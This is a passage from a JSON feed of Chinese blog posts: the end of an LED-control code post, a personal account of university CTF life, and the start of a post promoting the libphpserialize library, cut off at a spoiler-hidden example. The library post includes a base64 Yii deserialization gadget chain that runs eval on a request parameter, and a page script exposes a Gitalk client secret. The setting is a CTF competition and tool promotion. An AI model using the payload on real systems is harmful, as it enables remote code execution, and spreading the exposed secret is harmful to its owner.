class=\"n\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Cnt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eindex\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Leds\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esetTask\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 执行所有的led的任务\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexecTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 隔一段时间输出一下led的状态\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelay_30\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/led%E7%81%AF%E6%8E%A7%E5%88%B6usart/"},{"title":"链接","time":"0001-01-01T00:00:00Z","content":"\u003chr /\u003e","url":"https://canxin121.github.io/%E9%93%BE%E6%8E%A5/"},{"title":"搜索","time":"0001-01-01T00:00:00Z","content":"\u003chr /\u003e","url":"https://canxin121.github.io/search/"}]},{"name":"Frank","email":"","uri":"https://blog.frankli.site/","description":"","article":[{"title":"关于大学","time":"2022-07-02T16:00:00Z","content":"\u003cp\u003e大学四年,做了些事。\u003c/p\u003e\n\u003ch2 id=\"认识了XDSEC里的众大佬\"\u003e认识了XDSEC里的众大佬\u003c/h2\u003e\n\u003cp\u003e记得在高中毕业后,俺作为学校六页高考排名中的最后一页上的人,上西电都是感觉稍有些悬。俺在西电的招生外场碰到了张宁老师,知道了西电的网络与信息安全学院,还云\u003chr /\u003e\u003cp\u003e大学四年,做了些事。\u003c/p\u003e\u003ch2 id=\"认识了XDSEC里的众大佬\"\u003e认识了XDSEC里的众大佬\u003c/h2\u003e\u003cp\u003e记得在高中毕业后,俺作为学校六页高考排名中的最后一页上的人,上西电都是感觉稍有些悬。俺在西电的招生外场碰到了张宁老师,知道了西电的网络与信息安全学院,还云里雾里地参加了张老师带着16、17级学长办的第一届mssctf。当时作为一个垃圾算法选手,一道安全的题都没做出来,但是凭着垃圾算法基础还混了5k块钱。在赛后的宣讲会上pupile师傅将俺拉进了XDSEC招新群,在moeCTF上现学现卖,入门网络安全相关的知识,过程中还碰到了大学中认识的第一个同学konge,和他在moe榜单上🤺,还在线下见了家长(什么东西),最终成为了舍友(但似乎我并没有怎么回宿舍)。于是俺的大学便以XDSEC为线索展开了。\u003c/p\u003e\u003cp\u003e大一的时候俺就成天呆社团活动室(就说是实验室吧),甚至被导员给家长打了电话(但是后面导员似乎也放弃管我了2333),于是认识了睡在桌子底下的带带带能猫,认识了在mac上打300英雄的f1sh,认识了佛山富少w1nd,flight,去师傅… 成为了实验室守夜人之一(其实实验室离教室近【狡辩】)。\u003c/p\u003e\u003cp\u003e张老师带实验班,俺大一在垫底的软件工程,于是俺大二就靠实验班转了个专业。得益于我特殊的搜索技巧(至今自己都觉得离谱),俺在实验班机试里超了第二名一倍的分(呜呜呜对不起我真的忘了第二名是谁了对不起对不起),但是代价是俺的高数是补考过的。社团里18级的几个一直活跃着的同学最终基本都进了实验班。\u003c/p\u003e\u003cp\u003e大二期间,由于和学长们混得比较熟,又吃了些高中时期的技术的底子,成了XDSEC的2020年背锅人。俺作为一个自闭人,在到2021年四月的这一年时间里,硬是磕磕碰碰地向一些不认识的领导做了些报告,组织着社团的同学们做了些奇奇怪怪的事情(比如吃饭)。很多事情都是第一次做,有很多遗憾和尴尬,但是整体。。还行?感觉社团还的大方向没有太偏离就是最大的成功了,我觉得我选了逆向手Rx来接手XDSEC还是挺不错的一个选择(\u003c/p\u003e\u003ch2 id=\"维护了几个学生组织的几个服务器\"\u003e维护了几个学生组织的几个服务器\u003c/h2\u003e\u003cp\u003e大学期间,俺们社团随张老师办了三届的mssctf。每届mssctf俺们都搞了些新玩意玩。第二届俺们给CTFd写了个简陋的judge用来判算法题;第三届由于是线上赛,俺们给web题上了动态容器和腾讯的日志分析,可以看选手打的payload;第四届俺在新拿到的423活动室里拖着几个学弟用scapy写了些重组pcap中的tcp会话用的脚本,用来审计选手打pwn题的payload,顺便帮他们预习了下寄网,线下俺们又搞了一套能和CTFd配合运行的有时间限制的vnc+浏览器,让选手能在受控的网络环境下上网,让我们能盯着他们不要互相py,虽然由于网络设备不稳定运行得非常磕磕绊绊,但系统自身确实没出什么问题,很让人意外(\u003c/p\u003e\u003cp\u003e大三下,我突然来了些奇怪的兴致,维护了一段时间的开源社区的镜像和睿思的论坛,碰到了些奇奇怪怪的坑,写了些奇奇怪怪的代码。\u003c/p\u003e\u003cp\u003e俺给开源社区的机子换了个俺自己写的同步脚本,修了下git服务,在mirrorz群里潜水,后来又试图复苏开源\u003cem\u003e社区\u003c/em\u003e,找人接手,后来高算中心的老师找到我说他们本来希望做个镜像站,发现开源社区已经做过了,遂在毕业之际将镜像站迁移到了高算中心的机房。顺便,我和网管会的学弟联了系,希望他们能恢复组织起社区真正的活动。\u003c/p\u003e\u003cp\u003e睿思的服务器也年久失修。19级的学弟刚接手便碰到了行政上的坑(毕竟是pt站…),需要将论坛和pt站分离开来。俺帮着迁移了下数据库,踩了踩mariadb自增int的坑,搭了搭新的pt站,也算是做了点微小的工作。\u003c/p\u003e\u003ch2 id=\"参加了若干CTF比赛\"\u003e参加了若干CTF比赛\u003c/h2\u003e\u003cp\u003e19年以前,俺和社团的众大佬一起玩一些线上的比赛,什么虎符啊,网鼎啊,XCTF啊,还有去了个究极尬的还要拍死亡黑照吊在学校大广告牌上示众的360WCTF,结果只能说是,比清华高(指倒数第三)。19年以来,疫情反复。然而我们还是有一些机会去一些线下赛。\u003c/p\u003e\u003cp\u003e印象深刻的比赛有:\u003c/p\u003e\u003ch3 id=\"wctf\"\u003ewctf\u003c/h3\u003e\u003cp\u003e应该是疫情前俺参与的唯一一场线下赛,场面宏大,宾馆豪华,还帮张老师给360的学长送了个小徽章,还和国外战队亲切交流(真的,在恰饭的时候和eat sleep pwn repeat的几个欧洲人【字面义】讨论他们的队伍名该怎么翻译成中文),非常的有意思。\u003c/p\u003e\u003ch3 id=\"某次acm区域赛\"\u003e某次acm区域赛\u003c/h3\u003e\u003cp\u003e当时和几个学长组了个队,打了或许是人生中的最后一场acm,毫不意外地打了铁。去比赛的路上因为买错了票,坐了12个小时的硬卧。\u003c/p\u003e\u003ch3 id=\"国赛\"\u003e国赛\u003c/h3\u003e\u003cp\u003e讲个笑话,ylb办awd\u003c/p\u003e\u003ch3 id=\"bytectf\"\u003ebytectf\u003c/h3\u003e\u003cp\u003e被鱼师傅的\u003ca href=\"https://github.com/frank-dockerfiles/wallbreaker2020-reproduction\"\u003ewallbreaker\u003c/a\u003e按在地上打,在赛场上死活翻代码翻不出来什么所以然,还不敢上互联网。。。\u003c/p\u003e\u003ch3 id=\"xctf-final\"\u003exctf final\u003c/h3\u003e\u003cp\u003e和学弟和happy去打,题目出人意料地都不难,平台虚拟化没做好可以逃逸(这现在可以说了吧。。。),报给了主办方。后来听说两个队因为逃了逸但是没上报导致成绩取消。\u003cbr\u003e结束以后和诸葛老师合了影,可是找不到了呜呜呜呜呜\u003c/p\u003e\u003ch2 id=\"写了些东西\"\u003e写了些东西\u003c/h2\u003e\u003ch3 id=\"CyanBot\"\u003eCyanBot\u003c/h3\u003e\u003cp\u003e一开始俺还是酷Q噗肉的忠实用户,认识了rc和他写的cqhttp,直到酷Q倒了。后来看到了mirai和gocq,cqhttp也变成了onebot。cqhttp.Cyan一开始也就是俺大一的时候(当时俺还是软件工程专业)的某门课的大作业,但是一直以来在学生机上跑得还蛮稳定的,没做什么大的修改。直到现在还在跑俺的ctf通知bot以及自动回复。\u003c/p\u003e\u003cp\u003eCyanBot一开始写的契机是,当时俺还在软院科协,认识的是软院科协的众大佬:十三女装,尹大人,给俺安利了Celeste的炮哥哥,还有写了xindubot的心渡老师,当时他的bot跑在以webqq为基础的某python包之上,恰逢疼逊关闭了webqq,于是俺直接进行了一个自动回复bot的复现(核心科技:谢谢你,我学会了,你呢)。\u003c/p\u003e\u003ch3 id=\"CTFd-Whale\"\u003eCTFd \u0026amp; Whale\u003c/h3\u003e\u003cp\u003e在使用CTFd的过程中给CTFd修了些奇怪的bug,还有一开始用在buuoj上的whale,glzjin维护到CTFdv2就不维护了,遂fork并继续维护。\u003cbr\u003e在此过程中顺便帮助了挺多人搭建了CTFd with whale,包括一些私有靶场以及https://ctf.show。\u003c/p\u003e\u003ch3 id=\"etc\"\u003eetc\u003c/h3\u003e\u003cp\u003e还有一些零零碎碎的小脚本。\u003c/p\u003e\u003ch2 id=\"疫情\"\u003e疫情\u003c/h2\u003e\u003cp\u003e我的大学的前一半与后一半被疫情隔了开来。COVID-19标记着中国社会的一个重大的转变。记得李文亮医生一开始发声之时,当时看着泄露出的紧急培训医生用的ppt,完全没有意识到后面事物的发展。两年半以来,疫情曾一次次地冲破了我和身边人的计划,也彻底地改变了无数人的生活(或许不是“负面”的改变?)。\u003c/p\u003e\u003cp\u003e疫情从暗流涌动,到大爆发,再到举社会之力动态清零,其政治属性不断加码。疫情本身拖垮了无数人的当下,政治化的疫情拖垮了无数人的未来。\u003c/p\u003e\u003ch2 id=\"青可\"\u003e青可\u003c/h2\u003e\u003cp\u003e从和青可在高中的相识已经过去了六年多。从高中时慢慢和青可建立起互相信任的关系,到大学时维持着长久的联系,再到一道前往上海……\u003c/p\u003e\u003ch2 id=\"研\"\u003e研\u003c/h2\u003e\u003cp\u003e上研与否,似乎成为了一个非常非常难以抉择的事情。\u003c/p\u003e\u003cp\u003e俺妈是博士后,从俺高中起就一直督促我:提高学历,才能不受制于人。这个道理显而易见:当下的分流政策指引着一切的社会地位的流动,而人才分流的一大手段便是\u003cem\u003e看学历\u003c/em\u003e。其实俺妈最主要的论据还是上研能够有另一段能够自由学习的时间,去提高自己的科学以及社会素养。\u003c/p\u003e\u003cp\u003e俺认识的,熟悉的学长大多数直接出来工了作。俺周围的同学普遍来讲都认为上研并不能提升自己的能力,仅仅是换个地方打工罢了。\u003c/p\u003e\u003cp\u003e观察大多数上了研的,信安社团的,不是社团的学长学姐们,他们也一样迷茫,觉得累,觉得没有学到真正的东西,上研以后社会环境变得越来越差,难以找到工作;但我又明白他们所表露出来的或许不是他们真实的状态,又或许我所观察到的并不是常态。\u003c/p\u003e\u003cp\u003e看着落户政策里对待研究生与本科生巨大的差异,社会将人分开的残酷性是一定的了。但俺俩的\u003cstrong\u003e幼稚\u003c/strong\u003e又不允许我们在我向来不习惯的教育环境下虚度几年的时间。纠结着,被两边拖拽着,被海量的信息淹没着,俺们还是在迷茫中找了工作,没去上研。\u003c/p\u003e\u003cp\u003e俺们\u003cem\u003e随心所欲\u003c/em\u003e了么?我觉得没有。我们还没来得及给自己给出答案。俺们没有一些工作了的学长的决绝,亦没有俺妈那样的阅历。或许,过两年俺们会被现实打醒回去考研吧。或许。又或许,我们会选另一条更显而易见的,仅剩的路?\u003c/p\u003e\u003ch2 id=\"以及很多其他的重要的事与人\"\u003e以及很多其他的重要的事与人\u003c/h2\u003e\u003cp\u003e我长久以来未曾写过些什么文字,现在也不会写。我想到些什么,便罗列在上面了。后面的几周或许会写些别的,或许不会。只是写给自己看罢了。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2022/07/03/Misc/%E5%85%B3%E4%BA%8E%E5%A4%A7%E5%AD%A6/"},{"title":"python实现的php序列化","time":"2021-06-14T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e就单纯想推销一下\u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"如何用Python实现PH\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e就单纯想推销一下\u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"如何用Python实现PHP的序列化\"\u003e如何用Python实现PHP的序列化\u003c/h2\u003e\u003col\u003e\u003cli\u003e脑补\u003c/li\u003e\u003cli\u003e写代码\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"如何使用libphpserialize\"\u003e如何使用libphpserialize\u003c/h2\u003e\u003ch3 id=\"安装\"\u003e安装\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epip3 install libphpserialize\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"使用\"\u003e使用\u003c/h3\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e serialize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(serialize(\u003cspan class=\"number\"\u003e1\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e非常银杏方便\u003c/p\u003e\u003ch2 id=\"为什么不用php自己的serialize?\"\u003e为什么不用php自己的serialize?\u003c/h2\u003e\u003col\u003e\u003cli\u003e不用在你的电脑上安装php\u003c/li\u003e\u003cli\u003epython有requests/httpx,php没有\u003c/li\u003e\u003cli\u003e简化做题流程\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e想象一下这样的场景:\u003c/p\u003e\u003cp\u003e你在打一个比赛,在做一道反序列化相关的题目。你启动了一个定时销毁的容器,这个容器限时一个小时。你在第50分钟的时候找到了合适的pop链,并用5分钟用python写出了触发反序列化的python poc。\u003c/p\u003e\u003cp\u003e你慌忙地打开了一个新的文件,将类的定义拷贝了过来,给他们赋了各种属性,然后\u003ccode\u003eecho serialize($obj);\u003c/code\u003e,结果发现有个private属性,于是又慌忙地改成了 \u003ccode\u003eecho urlencode(serialize($obj));\u003c/code\u003e,又在命令行中 \u003ccode\u003ephp generate.php\u003c/code\u003e,复制,粘贴进python脚本,执行脚本,最后发现题目里头的反序列化入口处他 \u003ccode\u003ebase64_decode\u003c/code\u003e 了一下,于是又回头去将 \u003ccode\u003eurlencode\u003c/code\u003e 改成 \u003ccode\u003ebase64_encode\u003c/code\u003e,复制,粘贴,执行python脚本,运行,502,你很愤怒,用浏览器去访问了一下这个链接,发现容器已经过期了。你人麻了。\u003c/p\u003e\u003cimg src=\"/2021/06/15/Misc/libphpserialize/timeout.png\" class=\"\"\u003e\u003cp\u003e再想象一下这样的场景:\u003c/p\u003e\u003cp\u003e你已经成功地构造好了pop链,但是这个链非常长,而且需要精巧地构造属性值。你觉得用python构造这样的属性最简单,但是又不得不print出来然后粘贴到php代码里。你构造好了 \u003ccode\u003esystem('cat /flag');\u003c/code\u003e 的payload,结果发现出题人在 \u003ccode\u003edisable_functions\u003c/code\u003e 中禁用了system函数。你不得不重新来一遍整个流程,构造属性,复制粘贴,生成序列化串,将序列化串粘回到python脚本里,请求。可是你突然发现你构造出来的序列化后的串突然用不了了,你找了10分钟,最后发现由于终端输出的字符数量限制,你只复制了一半。你非常气愤,直接在python脚本里 \u003ccode\u003epayload = input()\u003c/code\u003e,然后直接用管道符运行 \u003ccode\u003ephp generate.php | python3 exp.py\u003c/code\u003e,结果发现仍然打不通。你又找了半天,发现php代码里用于调试的几个var_dump没有删。你一怒之下关闭了vscode,打开了LOL,找几个憨批进行一个人的祖安,还破坏了他人的游戏体验。\u003c/p\u003e\u003cimg src=\"/2021/06/15/Misc/libphpserialize/defeat.jpeg\" class=\"\"\u003e\u003cp\u003e再想象一下:\u003c/p\u003e\u003cp\u003e你的队友找到了一条pop链,但是二话不说给你发过来这样一串谜语\u003c/p\u003e\u003cfigure class=\"highlight plain\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e?r\u0026#x3D;site%2Fabout\u0026amp;message\u0026#x3D;TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MzI6InlpaVxjYWNoaW5nXEV4cHJlc3Npb25EZXBlbmRlbmN5IjoxOntzOjEwOiJleHByZXNzaW9uIjtzOjIzOiJldmFsKCRfUkVRVUVTVFsiYW50Il0pOyI7fWk6MTtzOjE4OiJldmFsdWF0ZURlcGVuZGVuY3kiO319fQo\u0026#x3D;\u0026amp;ant\u0026#x3D;phpinfo();\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e你的眼睛都要看瞎了,可是你访问了这个url,竟然真的打通了。你接下来想继续往进探一探,于是打开了hackbar,痛苦地一个字符一个字符地去改。你题做完了,眼睛也废了。结果你的憨批队友又不想写wp,想让你来写。你想打游戏,于是也贴了这么一大长串。评论区生气了,说你这谁**看得懂。\u003c/p\u003e\u003cp\u003e如果你有类似的经历,那你可以用libphpserialize来拯救你快乐的一天。\u003c/p\u003e\u003ch2 id=\"示例\"\u003e示例\u003c/h2\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 强网杯2021,pop_master \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan 